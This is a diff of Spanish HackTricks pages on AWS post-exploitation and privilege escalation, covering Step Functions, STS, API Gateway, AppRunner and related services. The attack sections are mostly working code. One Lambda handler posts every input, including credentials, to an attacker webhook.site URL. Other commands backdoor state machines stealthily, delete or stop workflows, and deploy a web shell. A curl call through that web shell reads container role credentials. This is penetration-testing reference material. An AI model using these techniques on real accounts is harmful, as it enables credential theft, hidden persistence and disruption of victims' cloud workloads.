-Un atacante con este permiso podría manipular la configuración de falla del Map Run y la configuración paralela, pudiendo aumentar o disminuir el número máximo de ejecuciones de flujos de trabajo secundarios permitidos, afectando directamente el rendimiento del servicio. Además, un atacante podría alterar el porcentaje y el conteo de fallas toleradas, pudiendo disminuir este valor a 0, de modo que cada vez que un ítem falle, todo el map run fallaría, afectando directamente la ejecución de la máquina de estados y potencialmente interrumpiendo flujos de trabajo críticos.
-```bash
-aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
-```
-- **Impacto Potencial**: Degradación del rendimiento y interrupción de flujos de trabajo críticos.
-
-### `states:StopExecution`
-
-Un atacante con este permiso podría detener la ejecución de cualquier máquina de estados, interrumpiendo flujos de trabajo y procesos en curso. Esto podría llevar a transacciones incompletas, operaciones comerciales detenidas y posible corrupción de datos.
-
-> [!WARNING]
-> Esta acción no es compatible con **máquinas de estados expresas**.
-```bash
-aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
-```
-- **Impacto Potencial**: Disrupción de flujos de trabajo en curso, tiempo de inactividad operativo y posible corrupción de datos.
-
-### `states:TagResource`, `states:UntagResource`
-
-Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de Step Functions, interrumpiendo la asignación de costos de su organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas.
-```bash
-aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
-```
-**Impacto Potencial**: Disrupción de la asignación de costos, seguimiento de recursos y políticas de control de acceso basadas en etiquetas.
-
----
-
-### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
-
-Un atacante que compromete a un usuario o rol con los siguientes permisos:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "AllowUpdateStateMachine",
-"Effect": "Allow",
-"Action": "states:UpdateStateMachine",
-"Resource": "*"
-},
-{
-"Sid": "AllowUpdateFunctionCode",
-"Effect": "Allow",
-"Action": "lambda:UpdateFunctionCode",
-"Resource": "*"
-}
-]
-}
-```
-...puede llevar a cabo un **ataque de post-explotación de alto impacto y sigiloso** combinando el backdooring de Lambda con la manipulación de la lógica de Step Function.
-
-Este escenario asume que la víctima utiliza **AWS Step Functions para orquestar flujos de trabajo que procesan entradas sensibles**, como credenciales, tokens o PII.
-
-Ejemplo de invocación de la víctima:
-```bash
-aws stepfunctions start-execution \
---state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
---input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
-```
-Si la Step Function está configurada para invocar un Lambda como `LegitBusinessLogic`, el atacante puede proceder con **dos variantes de ataque sigilosas**:
-
----
-
-####  Actualizó la función lambda
-
-El atacante modifica el código de la función Lambda ya utilizada por la Step Function (`LegitBusinessLogic`) para exfiltrar silenciosamente los datos de entrada.
-```python
-# send_to_attacker.py
-import requests
-
-def lambda_handler(event, context):
-requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
-return {"status": "exfiltrated"}
-```
-
-```bash
-zip function.zip send_to_attacker.py
-
-aws lambda update-function-code \
---function-name LegitBusinessLogic \
---zip-file fileb://function.zip -profile attacker
-```
----
-
-#### Agregar un Estado Malicioso a la Función de Paso
-
-Alternativamente, el atacante puede inyectar un **estado de exfiltración** al comienzo del flujo de trabajo actualizando la definición de la Función de Paso.
-```malicious_state_definition.json
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "OriginalState",
-"States": {
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-
-```
-
-```bash
-aws stepfunctions update-state-machine \
---state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
---definition file://malicious_state_definition.json --profile attacker
-```
-El atacante puede ser aún más sigiloso al actualizar la definición del estado a algo como esto
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "ExfiltrateSecrets",
-"States": {
-"ExfiltrateSecrets": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
-"InputPath": "$",
-"ResultPath": "$.exfil",
-"Next": "OriginalState"
-},
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-donde la víctima no se dará cuenta de la diferencia
-
----
-
-### Configuración de la Víctima (Contexto para la Explotación)
-
-- Se utiliza una Step Function (`LegitStateMachine`) para procesar entradas sensibles de usuarios.
-- Llama a una o más funciones Lambda como `LegitBusinessLogic`.
-
----
-
-**Impacto Potencial**:
-- Exfiltración silenciosa de datos sensibles, incluyendo secretos, credenciales, claves API y PII.
-- Sin errores o fallos visibles en la ejecución del flujo de trabajo.
-- Difícil de detectar sin auditar el código de Lambda o los rastros de ejecución.
-- Permite una persistencia a largo plazo si la puerta trasera permanece en el código o la lógica ASL.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md

@@ -0,0 +1,185 @@
+# AWS - Step Functions Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+Para más información sobre este servicio de AWS, consulta:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### `states:RevealSecrets`
+
+Este permiso permite **revelar datos secretos dentro de una ejecución**. Para ello, es necesario establecer Inspection level en TRACE y el parámetro revealSecrets en true.
+
+<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
+
+### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
+
+Un atacante con estos permisos podría eliminar permanentemente state machines, sus versions y aliases. Esto puede interrumpir flujos de trabajo críticos, provocar pérdida de datos y requerir un tiempo significativo para recuperar y restaurar las state machines afectadas. Además, permitiría a un atacante borrar las pistas utilizadas, entorpecer las investigaciones forenses y potencialmente paralizar las operaciones al eliminar procesos de automatización esenciales y configuraciones de estado.
+
+> [!NOTE]
+>
+> - Al eliminar una state machine también eliminas todas sus versions y aliases asociados.
+> - Al eliminar un state machine alias no se eliminan las state machine versions que referencian este alias.
+> - No es posible eliminar una state machine version que actualmente esté referenciada por uno o más aliases.
+```bash
+# Delete state machine
+aws stepfunctions delete-state-machine --state-machine-arn <value>
+# Delete state machine version
+aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
+# Delete state machine alias
+aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
+```
+- **Impacto potencial**: Interrupción de flujos de trabajo críticos, pérdida de datos y tiempo de inactividad operativo.
+
+### `states:UpdateMapRun`
+
+Un atacante con este permiso podría manipular la configuración de fallos y la opción de paralelismo de Map Run, pudiendo aumentar o disminuir el número máximo de ejecuciones de flujos de trabajo hijo permitidas, afectando directamente al rendimiento del servicio. Además, un atacante podría alterar el porcentaje y el recuento de fallos tolerados, pudiendo reducir este valor a 0, de modo que cada vez que un elemento falle, todo el Map Run fallaría, afectando directamente a la ejecución de la máquina de estados y potencialmente interrumpiendo flujos de trabajo críticos.
+```bash
+aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
+```
+- **Impacto potencial**: Degradación del rendimiento y la interrupción de flujos de trabajo críticos.
+
+### `states:StopExecution`
+
+Un atacante con este permiso podría detener la ejecución de cualquier state machine, interrumpiendo flujos de trabajo y procesos en curso. Esto podría dar lugar a transacciones incompletas, operaciones comerciales detenidas y la posible corrupción de datos.
+
+> [!WARNING]
+> Esta acción no es compatible con **express state machines**.
+```bash
+aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
+```
+- **Impacto potencial**: Interrupción de flujos de trabajo en curso, tiempo de inactividad operativo y posible corrupción de datos.
+
+### `states:TagResource`, `states:UntagResource`
+
+Un atacante podría añadir, modificar o eliminar etiquetas de los recursos de Step Functions, lo que interrumpiría la asignación de costes de su organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas.
+```bash
+aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
+```
+**Impacto potencial**: Interrupción de la asignación de costos, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas.
+
+---
+
+### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
+
+An attacker que compromete a un usuario o rol con los siguientes permisos:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowUpdateStateMachine",
+"Effect": "Allow",
+"Action": "states:UpdateStateMachine",
+"Resource": "*"
+},
+{
+"Sid": "AllowUpdateFunctionCode",
+"Effect": "Allow",
+"Action": "lambda:UpdateFunctionCode",
+"Resource": "*"
+}
+]
+}
+```
+...puede llevar a cabo un **ataque post-exploitation de alto impacto y sigiloso** combinando Lambda backdooring con manipulación de la lógica de Step Function.
+
+Este escenario asume que la víctima usa **AWS Step Functions para orquestar flujos de trabajo que procesan entradas sensibles**, como credenciales, tokens o PII.
+
+Ejemplo de invocación de la víctima:
+```bash
+aws stepfunctions start-execution \
+--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
+--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
+```
+Si la Step Function está configurada para invocar una Lambda como `LegitBusinessLogic`, el atacante puede proceder con **dos variantes de ataque sigilosas**:
+
+---
+
+####  Función Lambda actualizada
+
+El atacante modifica el código de la función Lambda ya utilizada por la Step Function (`LegitBusinessLogic`) para exfiltrar silenciosamente los datos de entrada.
+```python
+# send_to_attacker.py
+import requests
+
+def lambda_handler(event, context):
+requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
+return {"status": "exfiltrated"}
+```
+
+```bash
+zip function.zip send_to_attacker.py
+
+aws lambda update-function-code \
+--function-name LegitBusinessLogic \
+--zip-file fileb://function.zip -profile attacker
+```
+---
+
+#### Agregar un estado malicioso a la Step Function
+
+Alternativamente, el atacante puede inyectar un **exfiltration state** al inicio del flujo de trabajo actualizando la definición de la Step Function.
+```malicious_state_definition.json
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "OriginalState",
+"States": {
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+
+```
+
+```bash
+aws stepfunctions update-state-machine \
+--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
+--definition file://malicious_state_definition.json --profile attacker
+```
+El atacante puede ser aún más sigiloso y actualizar la definición de estado a algo como esto
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "ExfiltrateSecrets",
+"States": {
+"ExfiltrateSecrets": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
+"InputPath": "$",
+"ResultPath": "$.exfil",
+"Next": "OriginalState"
+},
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+donde la víctima no notará la diferencia
+
+---
+
+### Configuración de la víctima (Context for Exploit)
+
+- Una Step Function (`LegitStateMachine`) se usa para procesar entradas sensibles de usuario.
+- Llama a una o más funciones Lambda como `LegitBusinessLogic`.
+
+---
+
+**Impacto potencial**:
+- Exfiltration silenciosa de datos sensibles, incluidos secrets, credentials, API keys y PII.
+- No hay errores visibles ni fallos en la ejecución del flujo de trabajo.
+- Difícil de detectar sin auditar el código Lambda o las trazas de ejecución.
+- Permite persistencia a largo plazo si el backdoor permanece en el código o en la lógica ASL.
+
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md

@@ -1,23 +1,23 @@
 # AWS - STS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## STS
 
 Para más información:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
-### From IAM Creds to Console
+### Desde credenciales IAM a la consola
 
-Si has logrado obtener algunas IAM credentials, quizá te interese **acceder al web console** usando las siguientes herramientas.\
-Ten en cuenta que el user/role debe tener el permiso **`sts:GetFederationToken`**.
+Si has logrado obtener algunas credenciales IAM puede que te interese **acceder a la consola web** usando las siguientes herramientas.\
+Ten en cuenta que el usuario/rol debe tener el permiso **`sts:GetFederationToken`**.
 
 #### Script personalizado
 
-El siguiente script usará el default profile y una ubicación por defecto de AWS (no gov y no cn) para proporcionarte una signed URL que puedes usar para iniciar sesión en el web console:
+El siguiente script usará el perfil por defecto y una ubicación AWS por defecto (no gov y no cn) para proporcionarte una URL firmada que puedes usar para iniciar sesión en la consola web:
 ```bash
 # Get federated creds (you must indicate a policy or they won't have any perms)
 ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -64,22 +64,22 @@ pip install aws-consoler
 aws_consoler [params...] #This will generate a link to login into the console
 ```
 > [!WARNING]
-> Asegúrate de que el usuario IAM tenga el permiso `sts:GetFederationToken`, o proporciona un rol para asumir.
+> Asegúrese de que el usuario IAM tenga el permiso `sts:GetFederationToken`, o proporcione un role para asumir.
  
 #### aws-vault
 
-[**aws-vault**](https://github.com/99designs/aws-vault) es una herramienta para almacenar y acceder de forma segura a credenciales de AWS en un entorno de desarrollo.
+[**aws-vault**](https://github.com/99designs/aws-vault) es una herramienta para almacenar y acceder de forma segura a las credenciales de AWS en un entorno de desarrollo.
 ```bash
 aws-vault list
 aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
 aws-vault login jonsmith # Open a browser logged as jonsmith
 ```
 > [!NOTE]
-> También puedes usar **aws-vault** para obtener una **sesión de consola del navegador**
+> También puedes usar **aws-vault** para obtener una **browser console session**
 
-### **Eludir restricciones de User-Agent desde Python**
+### **Evadir restricciones de User-Agent desde Python**
 
-Si existe una **restricción para realizar ciertas acciones en función del User-Agent** utilizado (como restringir el uso de la librería python boto3 según el User-Agent) es posible usar la técnica anterior para **conectarte a la web console mediante un navegador**, o puedes directamente **modificar el user-agent de boto3** haciendo:
+Si existe una **restricción para realizar ciertas acciones basada en el user agent** usado (como restringir el uso de la librería python boto3 basada en el user agent) es posible usar la técnica anterior para **conectarse a la web console vía un browser**, o también podrías directamente **modificar el user-agent de boto3** haciendo:
 ```bash
 # Shared by ex16x41
 # Create a client
@@ -94,12 +94,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre
 ```
 ### **`sts:GetFederationToken`**
 
-Con este permiso es posible crear una identidad federada para el usuario que lo ejecuta, limitada a los permisos que tiene ese usuario.
+Con este permiso es posible crear una identidad federada para el usuario que lo ejecute, limitada a los permisos que tenga ese usuario.
 ```bash
 aws sts get-federation-token --name <username>
 ```
-El token devuelto por sts:GetFederationToken pertenece a la identidad federada del usuario que realiza la llamada, pero con permisos restringidos. Incluso si el usuario tiene derechos de administrador, ciertas acciones, como listar IAM users o attaching policies, no pueden realizarse a través del token federado.
+El token devuelto por sts:GetFederationToken pertenece a la identidad federada del usuario que realiza la llamada, pero con permisos restringidos. Incluso si el usuario tiene derechos de administrador, ciertas acciones como listar usuarios de IAM o adjuntar políticas no pueden realizarse a través del token federado.
 
-Además, este método es algo más sigiloso, ya que el usuario federado no aparece en el AWS Portal; solo puede observarse a través de CloudTrail logs o herramientas de monitorización.
+Además, este método es algo más sigiloso, ya que el usuario federado no aparece en el AWS Portal; solo puede observarse mediante los logs de CloudTrail o herramientas de monitorización.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md

@@ -1,13 +0,0 @@
-# AWS - VPN Post Explotación
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## VPN
-
-Para más información:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md

@@ -0,0 +1,13 @@
+# AWS - VPN Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## VPN
+
+Para más información:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md

@@ -1,48 +1,48 @@
 # AWS - Apigateway Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Apigateway
 
 Para más información consulta:
 
 {{#ref}}
-../aws-services/aws-api-gateway-enum.md
+../../aws-services/aws-api-gateway-enum.md
 {{#endref}}
 
 ### `apigateway:POST`
 
-Con este permiso puedes generar claves API de las APIs configuradas (por región).
+Con este permiso puedes generar API keys de las APIs configuradas (por región).
 ```bash
 aws --region <region> apigateway create-api-key
 ```
-**Impacto Potencial:** No puedes escalar privilegios con esta técnica, pero podrías obtener acceso a información sensible.
+**Impacto potencial:** No puedes privesc con esta técnica, pero podrías obtener acceso a información sensible.
 
 ### `apigateway:GET`
 
-Con este permiso puedes obtener las claves API generadas de las APIs configuradas (por región).
+Con este permiso puedes obtener las API keys generadas de las APIs configuradas (por región).
 ```bash
 aws --region <region> apigateway get-api-keys
 aws --region <region> apigateway get-api-key --api-key <key> --include-value
 ```
-**Impacto Potencial:** No puedes escalar privilegios con esta técnica, pero podrías obtener acceso a información sensible.
+**Impacto potencial:** No puedes privesc con esta técnica, pero podrías obtener acceso a información sensible.
 
 ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
 
-Con estos permisos es posible modificar la política de recursos de una API para darte acceso a llamarla y abusar del acceso potencial que la API gateway podría tener (como invocar un lambda vulnerable).
+Con estos permisos es posible modificar la política de recursos de una API para otorgarte acceso a invocarla y abusar del acceso potencial que el API gateway pueda tener (por ejemplo, invocar una lambda vulnerable).
 ```bash
 aws apigateway update-rest-api \
 --rest-api-id api-id \
 --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
 ```
-**Impacto Potencial:** Normalmente, no podrás realizar privesc directamente con esta técnica, pero podrías obtener acceso a información sensible.
+**Impacto potencial:** Por lo general, no podrás privesc directamente con esta técnica, pero podrías obtener acceso a información sensible.
 
 ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
 
-> [!NOTA]
+> [!NOTE]
 > Necesita pruebas
 
-Un atacante con los permisos `apigateway:PutIntegration`, `apigateway:CreateDeployment` y `iam:PassRole` puede **agregar una nueva integración a una API REST de API Gateway existente con una función Lambda que tiene un rol IAM adjunto**. El atacante puede entonces **activar la función Lambda para ejecutar código arbitrario y potencialmente obtener acceso a los recursos asociados con el rol IAM**.
+Un atacante con los permisos `apigateway:PutIntegration`, `apigateway:CreateDeployment`, y `iam:PassRole` puede **añadir una nueva integración a un API Gateway REST API existente con una función Lambda que tiene un IAM role adjunto**. El atacante puede entonces **activar la función Lambda para ejecutar código arbitrario y potencialmente obtener acceso a los recursos asociados con el IAM role**.
 ```bash
 API_ID="your-api-id"
 RESOURCE_ID="your-resource-id"
@@ -56,14 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Impacto Potencial**: Acceso a recursos asociados con el rol IAM de la función Lambda.
+**Impacto potencial**: Acceso a recursos asociados con la Lambda function's IAM role.
 
 ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
 
-> [!NOTA]
-> Necesita pruebas
+> [!NOTE]
+> Requiere pruebas
 
-Un atacante con los permisos `apigateway:UpdateAuthorizer` y `apigateway:CreateDeployment` puede **modificar un autorizer de API Gateway existente** para eludir las verificaciones de seguridad o para ejecutar código arbitrario cuando se realizan solicitudes de API.
+Un atacante con los permisos `apigateway:UpdateAuthorizer` y `apigateway:CreateDeployment` puede **modificar un API Gateway authorizer existente** para evadir controles de seguridad o ejecutar código arbitrario cuando se realizan solicitudes a la API.
 ```bash
 API_ID="your-api-id"
 AUTHORIZER_ID="your-authorizer-id"
@@ -75,21 +75,21 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Impacto Potencial**: Eludir controles de seguridad, acceso no autorizado a recursos de API.
+**Impacto potencial**: Evasión de controles de seguridad, acceso no autorizado a recursos de API.
 
 ### `apigateway:UpdateVpcLink`
 
 > [!NOTE]
-> Necesita pruebas
+> Requiere pruebas
 
-Un atacante con el permiso `apigateway:UpdateVpcLink` puede **modificar un VPC Link existente para apuntar a un Balanceador de Carga de Red diferente, redirigiendo potencialmente el tráfico privado de la API a recursos no autorizados o maliciosos**.
+Un atacante con el permiso `apigateway:UpdateVpcLink` puede **modificar un VPC Link existente para que apunte a un Network Load Balancer diferente, potencialmente redirigiendo el tráfico privado de la API a recursos no autorizados o maliciosos**.
 ```bash
-bashCopy codeVPC_LINK_ID="your-vpc-link-id"
+VPC_LINK_ID="your-vpc-link-id"
 NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
 
 # Update the VPC Link
 aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
 ```
-**Impacto Potencial**: Acceso no autorizado a recursos privados de API, interceptación o interrupción del tráfico de API.
+**Impacto potencial**: Acceso no autorizado a recursos privados de la API, interceptación o interrupción del tráfico de la API.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md

@@ -1,14 +1,14 @@
 # AWS - AppRunner Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## AppRunner
 
 ### `iam:PassRole`, `apprunner:CreateService`
 
-Un atacante con estos permisos puede crear un servicio de AppRunner con un rol de IAM adjunto, potencialmente escalando privilegios al acceder a las credenciales del rol.
+Un atacante con estos permisos puede crear un servicio de AppRunner con un rol de IAM adjunto, escalando potencialmente privilegios al acceder a las credenciales del rol.
 
-El atacante primero crea un Dockerfile que sirve como una shell web para ejecutar comandos arbitrarios en el contenedor de AppRunner.
+El atacante primero crea un Dockerfile que sirve como web shell para ejecutar comandos arbitrarios en el contenedor de AppRunner.
 ```Dockerfile
 FROM golang:1.24-bookworm
 WORKDIR /app
@@ -40,8 +40,8 @@ RUN go mod init test && go build -o main .
 EXPOSE 3000
 CMD ["./main"]
 ```
-Luego, empuje esta imagen a un repositorio ECR.  
-Al empujar la imagen a un repositorio público en una cuenta de AWS controlada por el atacante, es posible la escalada de privilegios incluso si la cuenta de la víctima no tiene permisos para manipular ECR.
+Luego, sube esta imagen a un repositorio ECR.
+Al subir la imagen a un repositorio público en una cuenta de AWS controlada por el attacker, privilege escalation es posible incluso si la cuenta de la victim no tiene permisos para manipular ECR.
 ```sh
 IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
 docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
@@ -49,7 +49,7 @@ aws ecr-public get-login-password | docker login --username AWS --password-stdin
 docker push $IMAGE_NAME
 docker logout public.ecr.aws
 ```
-A continuación, el atacante crea un servicio de AppRunner configurado con esta imagen de shell web y el rol de IAM que desea explotar.
+A continuación, el atacante crea un servicio AppRunner configurado con esta imagen de web shell y con el IAM Role que quiere explotar.
 ```bash
 aws apprunner create-service \
 --service-name malicious-service \
@@ -63,10 +63,10 @@ aws apprunner create-service \
 --instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
 --query Service.ServiceUrl
 ```
-Después de esperar a que se complete la creación del servicio, utiliza la shell web para recuperar las credenciales del contenedor y obtener los permisos del rol IAM adjunto a AppRunner.
+Después de esperar a que se complete la creación del servicio, utilice el web shell para recuperar las container credentials y obtener los permisos del IAM Role adjunto a AppRunner.
 ```sh
 curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
 ```
-**Impacto Potencial:** Escalación de privilegios directa a cualquier rol de IAM que se pueda adjuntar a los servicios de AppRunner.
+**Impacto potencial:** Direct privilege escalation a cualquier IAM role que pueda adjuntarse a servicios de AppRunner.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md

@@ -1,9 +0,0 @@
-# AWS - Chime Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### chime:CreateApiKey
-
-TODO
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md

@@ -0,0 +1,9 @@
+# AWS - Chime Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### chime:CreateApiKey
+
+Pendiente
+
+{{#include ../../../../banners/hacktricks-training.md}}